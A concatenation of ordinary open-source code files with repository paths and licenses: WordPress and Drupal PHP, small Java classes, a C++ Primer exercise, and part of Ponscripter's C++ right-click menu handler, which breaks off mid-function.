}
if ($this->acl->canCreate() or $this->acl->canDelete()) {
JToolBarHelper::divider();
}
$this->toolbar->appendButton('Popup', 'help1', JText::_('Help'), 'http://mijosoft.com/support/docs/mijovideos/user-manual/channels?tmpl=component', 650, 500);
}
} | gpl-2.0 |
davidturissini/Travel-Blog-wp | wp-content/themes/mystique/inc/theme-options.php | 10783 | <?php
add_action( 'admin_init', 'mystique_theme_options_init' );
add_action( 'admin_menu', 'mystique_theme_options_add_page' );
/**
* Add theme options page styles
*/
wp_register_style( 'mystique', get_template_directory_uri() . '/inc/theme-options.css', '', '0.1' );
if ( isset( $_GET['page'] ) && $_GET['page'] == 'theme_options' ) {
wp_enqueue_style( 'mystique' );
}
/**
* Init plugin options to white list our options
*/
function mystique_theme_options_init(){
register_setting( 'mystique_options', 'mystique_theme_options', 'mystique_theme_options_validate' );
}
/**
* Load up the menu page
*/
function mystique_theme_options_add_page() {
add_theme_page( __( 'Theme Options' ), __( 'Theme Options' ), 'edit_theme_options', 'theme_options', 'mystique_theme_options_do_page' );
}
/**
* Return array for our color schemes
*/
function mystique_color_schemes() {
$color_schemes = array(
'green' => array(
'value' => 'green',
'label' => __( 'Green' )
),
'red' => array(
'value' => 'red',
'label' => __( 'Red' )
),
'blue' => array(
'value' => 'blue',
'label' => __( 'Blue' )
),
'grey' => array(
'value' => 'grey',
'label' => __( 'Grey' )
),
'pink' => array(
'value' => 'pink',
'label' => __( 'Pink' )
),
'purple' => array(
'value' => 'purple',
'label' => __( 'Purple' )
),
);
return $color_schemes;
}
/**
* Return array for our layouts
*/
function mystique_layouts() {
$theme_layouts = array(
'content-sidebar' => array(
'value' => 'content-sidebar',
'label' => __( 'Content-Sidebar' ),
),
'sidebar-content' => array(
'value' => 'sidebar-content',
'label' => __( 'Sidebar-Content' )
),
'content-sidebar-sidebar' => array(
'value' => 'content-sidebar-sidebar',
'label' => __( 'Content-Sidebar-Sidebar' )
),
'sidebar-sidebar-content' => array(
'value' => 'sidebar-sidebar-content',
'label' => __( 'Sidebar-Sidebar-Content' )
),
'sidebar-content-sidebar' => array(
'value' => 'sidebar-content-sidebar',
'label' => __( 'Sidebar-Content-Sidebar' )
),
'no-sidebar' => array(
'value' => 'no-sidebar',
'label' => __( 'Full-Width, No Sidebar' )
),
);
return $theme_layouts;
}
/**
* Create the options page
*/
function mystique_theme_options_do_page() {
if ( ! isset( $_REQUEST['settings-updated'] ) )
$_REQUEST['settings-updated'] = false;
?>
<div class="wrap">
<?php screen_icon(); echo "<h2>" . get_current_theme() . __( ' Theme Options' ) . "</h2>"; ?>
<?php if ( false !== $_REQUEST['settings-updated'] ) : ?>
<div class="updated fade"><p><strong><?php _e( 'Options saved', 'mystique' ); ?></strong></p></div>
<?php endif; ?>
<form method="post" action="options.php">
<?php settings_fields( 'mystique_options' ); ?>
<?php $options = mystique_get_theme_options(); ?>
<table class="form-table">
<?php
/**
* Mystique Color Scheme
*/
?>
<tr valign="top"><th scope="row"><?php _e( 'Color Scheme', 'mystique' ); ?></th>
<td>
<select name="mystique_theme_options[color_scheme]">
<?php
$selected = $options['color_scheme'];
$p = '';
$r = '';
foreach ( mystique_color_schemes() as $option ) {
$label = $option['label'];
if ( $selected == $option['value'] ) // Make default first in list
$p = "\n\t<option selected='selected' value='" . esc_attr( $option['value'] ) . "'>$label</option>";
else
$r .= "\n\t<option value='" . esc_attr( $option['value'] ) . "'>$label</option>";
}
echo $p . $r;
?>
</select>
<label class="description" for="mystique_theme_options[color_scheme]"><?php _e( 'Select a default color scheme', 'mystique' ); ?></label>
</td>
</tr>
<?php
/**
* Mystique Layout
*/
?>
<tr valign="top" id="mystique-layouts"><th scope="row"><?php _e( 'Default Layout', 'mystique' ); ?></th>
<td>
<fieldset><legend class="screen-reader-text"><span><?php _e( 'Default Layout', 'mystique' ); ?></span></legend>
<?php
if ( ! isset( $checked ) )
$checked = '';
foreach ( mystique_layouts() as $option ) {
$radio_setting = $options['theme_layout'];
if ( '' != $radio_setting ) {
if ( $options['theme_layout'] == $option['value'] ) {
$checked = "checked=\"checked\"";
} else {
$checked = '';
}
}
?>
<div class="layout">
<label class="description">
<input type="radio" name="mystique_theme_options[theme_layout]" value="<?php esc_attr_e( $option['value'] ); ?>" <?php echo $checked; ?> />
<span>
<img src="<?php echo get_template_directory_uri(); ?>/inc/images/<?php echo $option['value']; ?>.png"/>
<?php echo $option['label']; ?>
</span>
</label>
</div>
<?php
}
?>
</fieldset>
</td>
</tr>
<?php
/**
* Social Icons
*/
?>
<tr valign="top" id="mystique-social-icons"><th scope="row"><?php _e( 'Social Icons', 'mystique' ); ?></th>
<td>
<fieldset><legend class="screen-reader-text"><span><?php _e( 'Social Icons', 'mystique' ); ?></span></legend>
<div><?php _e( 'Leave any URL field blank to hide its icon.', 'mystique' ); ?></div>
<div>
<input id="mystique_theme_options[show_rss_link]" name="mystique_theme_options[show_rss_link]" type="checkbox" value="1" <?php checked( '1', $options['show_rss_link'] ); ?> />
<label class="description" for="mystique_theme_options[show_rss_link]"><?php _e( 'Show the RSS feed icon?', 'mystique' ); ?></label>
</div>
<div>
<input id="mystique_theme_options[facebook_link]" class="regular-text" type="text" name="mystique_theme_options[facebook_link]" value="<?php esc_attr_e( $options['facebook_link'] ); ?>" />
<label class="description" for="mystique_theme_options[facebook_link]"><?php _e( 'Enter your Facebook URL.', 'mystique' ); ?></label>
</div>
<div>
<input id="mystique_theme_options[twitter_link]" class="regular-text" type="text" name="mystique_theme_options[twitter_link]" value="<?php esc_attr_e( $options['twitter_link'] ); ?>" />
<label class="description" for="mystique_theme_options[twitter_link]"><?php _e( 'Enter your Twitter URL.', 'mystique' ); ?></label>
</div>
<div>
<input id="mystique_theme_options[flickr_link]" class="regular-text" type="text" name="mystique_theme_options[flickr_link]" value="<?php esc_attr_e( $options['flickr_link'] ); ?>" />
<label class="description" for="mystique_theme_options[flickr_link]"><?php _e( 'Enter your Flickr URL.', 'mystique' ); ?></label>
</div>
<div>
<input id="mystique_theme_options[youtube_link]" class="regular-text" type="text" name="mystique_theme_options[youtube_link]" value="<?php esc_attr_e( $options['youtube_link'] ); ?>" />
<label class="description" for="mystique_theme_options[youtube_link]"><?php _e( 'Enter your YouTube URL.', 'mystique' ); ?></label>
</div>
</fieldset>
</td>
</tr>
<?php
/**
* Featured Posts Label
*/
?>
<tr valign="top" id="mystique-featured-post-label"><th scope="row"><?php _e( 'Featured Post Label', 'mystique' ); ?></th>
<td>
<fieldset><legend class="screen-reader-text"><span><?php _e( 'Featured Post Label', 'mystique' ); ?></span></legend>
<div>
<input id="mystique_theme_options[featured_post_label]" class="regular-text" type="text" name="mystique_theme_options[featured_post_label]" value="<?php esc_attr_e( $options['featured_post_label'] ); ?>" />
<label class="description" for="mystique_theme_options[featured_post_label]"><?php _e( 'Type a custom label for your featured sticky post (leave blank for no label).', 'mystique' ); ?></label>
</div>
</fieldset>
</td>
</tr>
<?php
/**
* Featured Posts on home page only?
*/
?>
<tr valign="top" id="mystique-featured-post-home-only"><th scope="row"><?php _e( 'Featured Post Visibility', 'mystique' ); ?></th>
<td>
<fieldset><legend class="screen-reader-text"><span><?php _e( 'Featured Post Visibility', 'mystique' ); ?></span></legend>
<div>
<input id="mystique_theme_options[featured_post_home_only]" name="mystique_theme_options[featured_post_home_only]" type="checkbox" value="1" <?php checked( '1', $options['featured_post_home_only'] ); ?> />
<label class="description" for="mystique_theme_options[featured_post_home_only]"><?php _e( 'Show the featured post only on the home page?', 'mystique' ); ?></label>
</div>
</fieldset>
</td>
</tr>
</table>
<p class="submit">
<input type="submit" class="button-primary" value="<?php esc_attr_e( 'Save Options', 'mystique' ); ?>" />
</p>
</form>
</div>
<?php
}
/**
* Sanitize and validate input. Accepts an array, return a sanitized array.
*/
function mystique_theme_options_validate( $input ) {
// Our color scheme option must actually be in our array of color scheme options
if ( ! array_key_exists( $input['color_scheme'], mystique_color_schemes() ) )
$input['color_scheme'] = null;
// Our radio option must actually be in our array of radio options
if ( ! isset( $input['theme_layout'] ) )
$input['theme_layout'] = null;
if ( ! array_key_exists( $input['theme_layout'], mystique_layouts() ) )
$input['theme_layout'] = null;
// Our checkbox values should be either 0 or 1
if ( ! isset( $input['show_rss_link'] ) )
$input['show_rss_link'] = null;
$input['show_rss_link'] = ( $input['show_rss_link'] == 1 ? 1 : 0 );
if ( ! isset( $input['featured_post_home_only'] ) )
$input['featured_post_home_only'] = null;
$input['featured_post_home_only'] = ( $input['featured_post_home_only'] == 1 ? 1 : 0 );
// Our text option must be safe text with no HTML tags
$input['twitter_link'] = wp_filter_nohtml_kses( $input['twitter_link'] );
$input['facebook_link'] = wp_filter_nohtml_kses( $input['facebook_link'] );
$input['flickr_link'] = wp_filter_nohtml_kses( $input['flickr_link'] );
$input['youtube_link'] = wp_filter_nohtml_kses( $input['youtube_link'] );
$input['featured_post_text'] = wp_filter_nohtml_kses( $input['featured_post_label'] );
// Encode URLs
$input['twitter_link'] = esc_url_raw( $input['twitter_link'] );
$input['facebook_link'] = esc_url_raw( $input['facebook_link'] );
$input['flickr_link'] = esc_url_raw( $input['flickr_link'] );
$input['youtube_link'] = esc_url_raw( $input['youtube_link'] );
return $input;
}
// adapted from http://planetozh.com/blog/2009/05/handling-plugins-options-in-wordpress-28-with-register_setting/ | gpl-2.0 |
babitaneog/learnd8 | modules/contrib/facets/src/FacetSource/FacetSourcePluginManager.php | 1778 | <?php
namespace Drupal\facets\FacetSource;
use Drupal\Component\Plugin\Exception\PluginException;
use Drupal\Core\Cache\CacheBackendInterface;
use Drupal\Core\Extension\ModuleHandlerInterface;
use Drupal\Core\Plugin\DefaultPluginManager;
/**
* Manages facet source plugins.
*
* @see \Drupal\facets\Annotation\FacetsFacetSource
* @see \Drupal\facets\FacetSource\FacetSourcePluginBase
* @see plugin_api
*/
class FacetSourcePluginManager extends DefaultPluginManager {
/**
* {@inheritdoc}
*/
public function __construct(\Traversable $namespaces, CacheBackendInterface $cache_backend, ModuleHandlerInterface $module_handler) {
parent::__construct('Plugin/facets/facet_source', $namespaces, $module_handler, 'Drupal\facets\FacetSource\FacetSourcePluginInterface', 'Drupal\facets\Annotation\FacetsFacetSource');
}
/**
* {@inheritdoc}
*/
public function processDefinition(&$definition, $plugin_id) {
parent::processDefinition($definition, $plugin_id);
// At the very least - we need to have an ID in the definition of the
// plugin.
if (!isset($definition['id'])) {
throw new PluginException(sprintf('The facet source plugin %s must define the id property.', $plugin_id));
}
// If we're checking the search api plugin, only try to add it if search api
// is enabled.
if ($definition['id'] === 'search_api' && !$this->moduleHandler->moduleExists('search_api')) {
return;
}
// Check that other required labels are available.
foreach (['display_id', 'label'] as $required_property) {
if (empty($definition[$required_property])) {
throw new PluginException(sprintf('The facet source plugin %s must define the %s property.', $plugin_id, $required_property));
}
}
}
}
| gpl-2.0 |
flow-J/Exercise | c++_Primer/cpp_10/ex10.31.cpp | 408 | #include <iostream>
#include <vector>
#include <algorithm>
#include <iterator>
int main()
{
std::istream_iterator<int> in_iter(std::cin), eof;
std::vector<int> vec;
while (in_iter != eof)
vec.push_back(*in_iter++);
std::sort(vec.begin(), vec.end());
std::unique_copy(vec.cbegin(), vec.cend(),std::ostream_iterator<int>(std::cout, " "));
std::cout << *in_iter << std::endl;
}
| gpl-2.0 |
ranjeetsinha13/androidcodes | CityPediaV2/src/com/citypedia/app/enities/Cabs.java | 356 | package com.citypedia.app.enities;
public class Cabs {
private String name;
private String number;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getNumber() {
return number;
}
public void setNumber(String number) {
this.number = number;
}
}
| gpl-2.0 |
WelcomeHUME/svn-caucho-com-resin | modules/quercus/src/com/caucho/quercus/env/JsonEncodeContext.java | 3186 | /*
* Copyright (c) 1998-2012 Caucho Technology -- all rights reserved
*
* This file is part of Resin(R) Open Source
*
* Each copy or derived work must preserve the copyright notice and this
* notice unmodified.
*
* Resin Open Source is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* Resin Open Source is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE, or any warranty
* of NON-INFRINGEMENT. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License
* along with Resin Open Source; if not, write to the
*
* Free Software Foundation, Inc.
* 59 Temple Place, Suite 330
* Boston, MA 02111-1307 USA
*
* @author Nam Nguyen
*/
package com.caucho.quercus.env;
public class JsonEncodeContext
{
private final boolean _isEscapeTag;
private final boolean _isEscapeAmp;
private final boolean _isEscapeApos;
private final boolean _isEscapeQuote;
private final boolean _isCheckNumeric;
private final boolean _isBigIntAsString;
private final boolean _isPrettyPrint;
private final static String _indentationString = " ";
private int _prettyPrintIndentation = 0;
public JsonEncodeContext(boolean isEscapeTag,
boolean isEscapeAmp,
boolean isEscapeApos,
boolean isEscapeQuote,
boolean isCheckNumeric,
boolean isBigIntAsString,
boolean isPrettyPrint)
{
_isEscapeTag = isEscapeTag;
_isEscapeAmp = isEscapeAmp;
_isEscapeApos = isEscapeApos;
_isEscapeQuote = isEscapeQuote;
_isCheckNumeric = isCheckNumeric;
_isBigIntAsString = isBigIntAsString;
_isPrettyPrint = isPrettyPrint;
}
public boolean isEscapeTag()
{
return _isEscapeTag;
}
public boolean isEscapeAmp()
{
return _isEscapeAmp;
}
public boolean isEscapeApos()
{
return _isEscapeApos;
}
public boolean isEscapeQuote()
{
return _isEscapeQuote;
}
public boolean isCheckNumeric()
{
return _isCheckNumeric;
}
public boolean isBigIntAsString()
{
return _isBigIntAsString;
}
public boolean isPrettyPrint() {
return _isPrettyPrint;
}
public void appendIndentation(StringValue sb) {
if (!_isPrettyPrint) {
return;
}
sb.append("\n");
for (int i = 0; i < _prettyPrintIndentation; i++) {
sb.append(_indentationString);
}
}
public void appendSpace(StringValue sb) {
if (_isPrettyPrint) {
sb.append(" ");
}
}
public void increaseIndentation() {
_prettyPrintIndentation++;
}
public void decreaseIndentation() {
_prettyPrintIndentation--;
if (_prettyPrintIndentation < 0) {
throw new IllegalStateException("inconsistent indentation caused by JSON_PRETTY_PRINT");
}
}
}
| gpl-2.0 |
axsauze/HackaSoton | wp-content/themes/Sahifa-Theme/sahifa/sahifa/tag.php | 790 | <?php get_header(); ?>
<div class="content">
<?php tie_breadcrumbs() ?>
<div class="page-head">
<h2 class="page-title">
<?php printf( __( 'Tag Archives: %s', 'tie' ), '<span>' . single_tag_title( '', false ) . '</span>' ); ?>
</h2>
<?php if( tie_get_option( 'tag_rss' ) ):
$tag_id = get_query_var('tag_id'); ?>
<a class="rss-cat-icon tooltip" title="<?php _e( 'Feed Subscription', 'tie' ); ?>" href="<?php echo get_term_feed_link($tag_id , 'post_tag', "rss2") ?>"><?php _e( 'Feed Subscription', 'tie' ); ?></a>
<?php endif; ?>
<div class="stripe-line"></div>
</div>
<?php get_template_part( 'loop', 'tag' ); ?>
<?php if ($wp_query->max_num_pages > 1) tie_pagenavi(); ?>
</div> <!-- .content -->
<?php get_sidebar(); ?>
<?php get_footer(); ?> | gpl-2.0 |
chronotrig/ponscripter-fork-wh | src/PonscripterLabel_rmenu.cpp | 21200 | /* -*- C++ -*-
*
* PonscripterLabel_rmenu.cpp - Right click menu handler of Ponscripter
*
* Copyright (c) 2001-2007 Ogapee (original ONScripter, of which this
* is a fork).
*
* ogapee@aqua.dti2.ne.jp
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307 USA
*/
#include "PonscripterLabel.h"
void PonscripterLabel::enterSystemCall()
{
shelter_buttons.swap(buttons);
buttons.clear();
shelter_select_links.swap(select_links);
select_links.clear();
shelter_event_mode = event_mode;
shelter_mouse_state.x = last_mouse_state.x;
shelter_mouse_state.y = last_mouse_state.y;
event_mode = IDLE_EVENT_MODE;
system_menu_enter_flag = true;
yesno_caller = SYSTEM_NULL;
shelter_display_mode = display_mode;
display_mode = TEXT_DISPLAY_MODE;
shelter_draw_cursor_flag = draw_cursor_flag;
draw_cursor_flag = false;
}
void PonscripterLabel::leaveSystemCall(bool restore_flag)
{
current_font = &sentence_font;
display_mode = shelter_display_mode;
system_menu_mode = SYSTEM_NULL;
system_menu_enter_flag = false;
yesno_caller = SYSTEM_NULL;
key_pressed_flag = false;
if (restore_flag) {
current_text_buffer = cached_text_buffer;
restoreTextBuffer();
buttons.swap(shelter_buttons);
shelter_buttons.clear();
select_links.swap(shelter_select_links);
shelter_select_links.clear();
event_mode = shelter_event_mode;
draw_cursor_flag = shelter_draw_cursor_flag;
if (event_mode & WAIT_BUTTON_MODE) {
warpMouse(shelter_mouse_state.x, shelter_mouse_state.y);
}
}
dirty_rect.fill(screen_width, screen_height);
flush(refreshMode());
//printf("leaveSystemCall %d %d\n",event_mode, clickstr_state);
refreshMouseOverButton();
advancePhase();
}
void PonscripterLabel::executeSystemCall()
{
//printf("***** executeSystemCall %d %d %d*****\n", system_menu_enter_flag, volatile_button_state.button, system_menu_mode );
dirty_rect.fill(screen_width, screen_height);
if (!system_menu_enter_flag) {
enterSystemCall();
}
switch (system_menu_mode) {
case SYSTEM_SKIP:
executeSystemSkip();
break;
case SYSTEM_RESET:
executeSystemReset();
break;
case SYSTEM_SAVE:
executeSystemSave();
break;
case SYSTEM_YESNO:
executeSystemYesNo();
break;
case SYSTEM_LOAD:
executeSystemLoad();
break;
case SYSTEM_LOOKBACK:
executeSystemLookback();
break;
case SYSTEM_WINDOWERASE:
executeWindowErase();
break;
case SYSTEM_MENU:
executeSystemMenu();
break;
case SYSTEM_AUTOMODE:
executeSystemAutomode();
break;
case SYSTEM_END:
executeSystemEnd();
break;
default:
leaveSystemCall();
}
}
void PonscripterLabel::executeSystemMenu()
{
int counter = 1;
current_font = &menu_font;
if (event_mode & WAIT_BUTTON_MODE) {
if (current_button_state.button == 0) return;
event_mode = IDLE_EVENT_MODE;
deleteButtons();
if (current_button_state.button == -1) {
playSound(menuselectvoice_file_name[MENUSELECTVOICE_CANCEL],
SOUND_WAVE | SOUND_OGG, false, MIX_WAVE_CHANNEL);
leaveSystemCall();
return;
}
playSound(menuselectvoice_file_name[MENUSELECTVOICE_CLICK],
SOUND_WAVE | SOUND_OGG, false, MIX_WAVE_CHANNEL);
for (RMenuElt::iterator it = rmenu.begin(); it != rmenu.end(); ++it) {
if (current_button_state.button == counter++) {
system_menu_mode = it->system_call_no;
break;
}
}
advancePhase();
}
else {
playSound(menuselectvoice_file_name[MENUSELECTVOICE_OPEN],
SOUND_WAVE | SOUND_OGG, false, MIX_WAVE_CHANNEL);
system_menu_mode = SYSTEM_MENU;
yesno_caller = SYSTEM_MENU;
text_info.fill(0, 0, 0, 0);
flush(refreshMode());
current_font->area_x = screen_width * screen_ratio2 / screen_ratio1;
current_font->area_y = current_font->line_top(rmenu.size());
current_font->top_x = 0;
current_font->top_y = (screen_height * screen_ratio2 / screen_ratio1 -
current_font->area_y) / 2;
current_font->SetXY(0, 0);
for (RMenuElt::iterator it = rmenu.begin(); it != rmenu.end(); ++it) {
const float sw = float (screen_width * screen_ratio2)
/ float (screen_ratio1);
current_font->SetXY((sw - current_font->StringAdvance(it->label)) / 2);
buttons[counter++] = getSelectableSentence(it->label, current_font,
false);
flush(refreshMode());
}
flushEvent();
event_mode = WAIT_BUTTON_MODE;
refreshMouseOverButton();
}
}
void PonscripterLabel::executeSystemSkip()
{
setSkipMode(true);
if (!(shelter_event_mode & WAIT_BUTTON_MODE))
shelter_event_mode &= ~WAIT_TIMER_MODE;
leaveSystemCall();
}
void PonscripterLabel::executeSystemAutomode()
{
setAutoMode(true);
printf("systemcall_automode: change to automode\n");
leaveSystemCall();
}
void PonscripterLabel::executeSystemReset()
{
if (yesno_caller == SYSTEM_RESET) {
leaveSystemCall();
}
else {
yesno_caller = SYSTEM_RESET;
system_menu_mode = SYSTEM_YESNO;
advancePhase();
}
}
void PonscripterLabel::executeSystemEnd()
{
if (yesno_caller == SYSTEM_END) {
leaveSystemCall();
}
else {
yesno_caller = SYSTEM_END;
system_menu_mode = SYSTEM_YESNO;
advancePhase();
}
}
void PonscripterLabel::executeWindowErase()
{
if (event_mode & WAIT_BUTTON_MODE) {
event_mode = IDLE_EVENT_MODE;
leaveSystemCall();
}
else {
display_mode = NORMAL_DISPLAY_MODE;
flush(mode_saya_flag ? REFRESH_SAYA_MODE : REFRESH_NORMAL_MODE);
event_mode = WAIT_BUTTON_MODE;
system_menu_mode = SYSTEM_WINDOWERASE;
}
}
void PonscripterLabel::createSaveLoadMenu(bool is_save)
{
SaveFileInfo save_file_info;
text_info.fill(0, 0, 0, 0);
// Set up formatting details for saved games.
const float sw = float (screen_width * screen_ratio2)
/ float (screen_ratio1);
const int spacing = 16;
pstring buffer, saveless_line;
float linew, lw, ew, line_offs_x, item_x;
float *label_inds = NULL, *save_inds = NULL;
int num_label_ind = 0, num_save_ind = 0;
{
float max_lw = 0, max_ew = 0;
for (unsigned int i = 1; i <= num_save_file; i++) {
searchSaveFile(save_file_info, i);
lw = processMessage(buffer, locale.message_save_label,
save_file_info, &label_inds, &num_label_ind);
if (max_lw < lw) max_lw = lw;
if (save_file_info.valid) {
ew = processMessage(buffer, locale.message_save_exist,
save_file_info, &save_inds, &num_save_ind);
if (max_ew < ew) max_ew = ew;
}
}
pstring tm = file_encoding->TextMarker();
if (save_inds == NULL) {
saveless_line = tm;
for (int j=0; j<24; j++)
saveless_line += locale.message_empty;
max_ew = current_font->StringAdvance(saveless_line);
}
else {
// Avoid possible ugliness of ligatures
pstring long_empty;
for (int j=0; j<6; j++)
long_empty += locale.message_empty;
saveless_line = tm;
while (current_font->StringAdvance(saveless_line) < max_ew)
saveless_line += long_empty;
if (max_ew < current_font->StringAdvance(saveless_line))
max_ew = current_font->StringAdvance(saveless_line);
}
item_x = max_lw + spacing;
linew = ceil(item_x + max_ew + spacing);
line_offs_x = (sw - linew) / 2;
}
// Set up the menu.
current_font->area_x = int(linew);
current_font->area_y = current_font->line_top(num_save_file + 2);
current_font->top_x = int(line_offs_x);
current_font->top_y = (screen_height * screen_ratio2 / screen_ratio1
- current_font->area_y) / 2;
pstring& menu_name = is_save ? save_menu_name : load_menu_name;
current_font->SetXY((linew - current_font->StringAdvance(menu_name)) / 2, 0);
buttons[0] = getSelectableSentence(menu_name, current_font, false);
current_font->newLine();
flush(refreshMode());
bool disable = false;
for (unsigned int i = 1; i <= num_save_file; i++) {
searchSaveFile(save_file_info, i);
lw = processMessage(buffer, locale.message_save_label,
save_file_info, &label_inds,
&num_label_ind, false);
current_font->SetXY(0);
pstring tmp = "";
if (script_h.is_ponscripter)
tmp.format("~x%d~", int(item_x));
else {
int num_sp = ceil((spacing + 0.0) /
current_font->StringAdvance(locale.message_space));
for (int j=0; j<num_sp; j++)
tmp += locale.message_space;
}
buffer += tmp;
if (save_file_info.valid) {
processMessage(tmp, locale.message_save_exist,
save_file_info, &save_inds,
&num_save_ind, false);
disable = false;
}
else {
tmp = saveless_line;
disable = !is_save;
}
buffer += tmp;
buttons[i] = getSelectableSentence(buffer, current_font, false, disable);
flush(refreshMode());
}
if (label_inds) delete[] label_inds;
if (save_inds) delete[] save_inds;
event_mode = WAIT_BUTTON_MODE;
refreshMouseOverButton();
}
void PonscripterLabel::executeSystemLoad()
{
SaveFileInfo save_file_info;
current_font = &menu_font;
if (event_mode & WAIT_BUTTON_MODE) {
if (current_button_state.button == 0) return;
event_mode = IDLE_EVENT_MODE;
if (current_button_state.button > 0) {
searchSaveFile(save_file_info, current_button_state.button);
if (!save_file_info.valid) {
event_mode = WAIT_BUTTON_MODE;
refreshMouseOverButton();
return;
}
deleteButtons();
yesno_selected_file_no = current_button_state.button;
yesno_caller = SYSTEM_LOAD;
system_menu_mode = SYSTEM_YESNO;
advancePhase();
}
else {
deleteButtons();
leaveSystemCall();
}
}
else {
system_menu_mode = SYSTEM_LOAD;
createSaveLoadMenu(false);
}
}
void PonscripterLabel::executeSystemSave()
{
current_font = &menu_font;
if (event_mode & WAIT_BUTTON_MODE) {
if (current_button_state.button == 0) return;
event_mode = IDLE_EVENT_MODE;
deleteButtons();
if (current_button_state.button > 0) {
yesno_selected_file_no = current_button_state.button;
yesno_caller = SYSTEM_SAVE;
system_menu_mode = SYSTEM_YESNO;
advancePhase();
return;
}
leaveSystemCall();
}
else {
system_menu_mode = SYSTEM_SAVE;
createSaveLoadMenu(true);
}
}
void PonscripterLabel::executeSystemYesNo()
{
current_font = &menu_font;
if (event_mode & WAIT_BUTTON_MODE) {
if (current_button_state.button == 0) return;
event_mode = IDLE_EVENT_MODE;
deleteButtons();
if (current_button_state.button == 1) { // yes is selected
playSound(menuselectvoice_file_name[MENUSELECTVOICE_YES],
SOUND_WAVE | SOUND_OGG, false, MIX_WAVE_CHANNEL);
if (yesno_caller == SYSTEM_SAVE) {
saveSaveFile(yesno_selected_file_no);
leaveSystemCall();
}
else if (yesno_caller == SYSTEM_LOAD) {
current_font = &sentence_font;
if (loadSaveFile(yesno_selected_file_no)) {
system_menu_mode = yesno_caller;
advancePhase();
return;
}
leaveSystemCall(false);
saveon_flag = true;
internal_saveon_flag = true;
text_on_flag = false;
indent_offset = 0;
line_enter_status = 0;
string_buffer_offset = 0;
string_buffer_restore = -1;
break_flag = false;
if (loadgosub_label)
gosubReal(loadgosub_label, script_h.getCurrent());
readToken();
}
else if (yesno_caller == SYSTEM_RESET) {
resetCommand("reset");
readToken();
event_mode = IDLE_EVENT_MODE;
leaveSystemCall(false);
}
else if (yesno_caller == SYSTEM_END) {
endCommand("end");
}
}
else {
playSound(menuselectvoice_file_name[MENUSELECTVOICE_NO],
SOUND_WAVE | SOUND_OGG, false, MIX_WAVE_CHANNEL);
system_menu_mode = yesno_caller & 0xf;
if (yesno_caller == SYSTEM_RESET)
leaveSystemCall();
advancePhase();
}
}
else {
text_info.fill(0, 0, 0, 0);
pstring name;
if (yesno_caller == SYSTEM_SAVE) {
SaveFileInfo save_file_info;
searchSaveFile(save_file_info, yesno_selected_file_no);
processMessage(name, locale.message_save_confirm, save_file_info);
}
else if (yesno_caller == SYSTEM_LOAD) {
SaveFileInfo save_file_info;
searchSaveFile(save_file_info, yesno_selected_file_no);
processMessage(name, locale.message_load_confirm, save_file_info);
}
else if (yesno_caller == SYSTEM_RESET)
name = locale.message_reset_confirm;
else if (yesno_caller == SYSTEM_END)
name = locale.message_end_confirm;
current_font->area_x = int (ceil(current_font->StringAdvance(name)));
current_font->area_y = current_font->line_top(4);
current_font->top_x = (screen_width * screen_ratio2 / screen_ratio1 - current_font->area_x) / 2;
current_font->top_y = (screen_height * screen_ratio2 / screen_ratio1 - current_font->area_y) / 2;
current_font->SetXY(0, 0);
buttons[0] = getSelectableSentence(name, current_font, false);
flush(refreshMode());
float yes_len = current_font->StringAdvance(locale.message_yes),
no_len = current_font->StringAdvance(locale.message_no);
name = locale.message_yes;
current_font->SetXY(float (current_font->area_x) / 4 - yes_len / 2,
current_font->line_top(2));
buttons[1] = getSelectableSentence(name, current_font, false);
name = locale.message_no;
current_font->SetXY(float (current_font->area_x) * 3 / 4 - no_len / 2,
current_font->line_top(2));
buttons[2] = getSelectableSentence(name, current_font, false);
flush(refreshMode());
event_mode = WAIT_BUTTON_MODE;
refreshMouseOverButton();
}
}
void PonscripterLabel::setupLookbackButton()
{
deleteButtons();
/* ---------------------------------------- */
/* Previous button check */
if (current_text_buffer->previous
&& current_text_buffer != start_text_buffer) {
ButtonElt* button = &buttons[1];
button->select_rect.x = sentence_font_info.pos.x;
button->select_rect.y = sentence_font_info.pos.y;
button->select_rect.w = sentence_font_info.pos.w;
button->select_rect.h = sentence_font_info.pos.h / 3;
if (lookback_sp[0] >= 0) {
button->button_type = ButtonElt::SPRITE_BUTTON;
button->sprite_no = lookback_sp[0];
sprite_info[button->sprite_no].visible(true);
button->image_rect = sprite_info[button->sprite_no].pos;
}
else {
button->button_type = ButtonElt::LOOKBACK_BUTTON;
button->show_flag = 2;
button->anim[0] = &lookback_info[0];
button->anim[1] = &lookback_info[1];
button->image_rect.x = sentence_font_info.pos.x
+ sentence_font_info.pos.w
- button->anim[0]->pos.w;
button->image_rect.y = sentence_font_info.pos.y;
button->image_rect.w = button->anim[0]->pos.w;
button->image_rect.h = button->anim[0]->pos.h;
button->anim[0]->pos.x = button->anim[1]->pos.x = button->image_rect.x;
button->anim[0]->pos.y = button->anim[1]->pos.y = button->image_rect.y;
}
}
else if (lookback_sp[0] >= 0) {
sprite_info[lookback_sp[0]].visible(false);
}
/* ---------------------------------------- */
/* Next button check */
if (current_text_buffer->next != cached_text_buffer) {
ButtonElt* button = &buttons[2];
button->select_rect.x = sentence_font_info.pos.x;
button->select_rect.y = sentence_font_info.pos.y
+ sentence_font_info.pos.h * 2 / 3;
button->select_rect.w = sentence_font_info.pos.w;
button->select_rect.h = sentence_font_info.pos.h / 3;
if (lookback_sp[1] >= 0) {
button->button_type = ButtonElt::SPRITE_BUTTON;
button->sprite_no = lookback_sp[1];
sprite_info[button->sprite_no].visible(true);
button->image_rect = sprite_info[button->sprite_no].pos;
}
else {
button->button_type = ButtonElt::LOOKBACK_BUTTON;
button->show_flag = 2;
button->anim[0] = &lookback_info[2];
button->anim[1] = &lookback_info[3];
